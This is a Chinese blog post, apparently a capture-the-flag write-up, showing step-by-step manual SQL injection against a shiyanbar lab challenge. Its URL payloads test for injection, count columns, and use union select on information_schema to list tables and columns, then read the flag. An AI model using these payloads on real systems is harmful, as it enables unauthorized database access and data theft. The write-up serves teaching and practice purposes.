實驗吧web-易-這個看起來有點簡單

看url中有id=1,明顯的sql注入,這裏使用手工注入不適用sqlmap,想用的話參考文章(傳送門

1.首先測試有沒有sql注入漏洞,

http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=1    返回正常

http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2   返回不正常

說明存在sql注入漏洞。

2.下面猜字段,

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3  返回不正常

http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2  返回正常

說明有兩個字段。

3.暴庫

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,database()

 爆出my_db數據庫

4.爆表

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='my_db'

 爆出兩個表,flag應該在thiskey中,於是在thiskey表中爆字段

5.爆字段

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='thiskey'

 所以我們的flag在k0y中,於是爆出k0y的內容。

6.爆內容

http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

flag就拿到了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章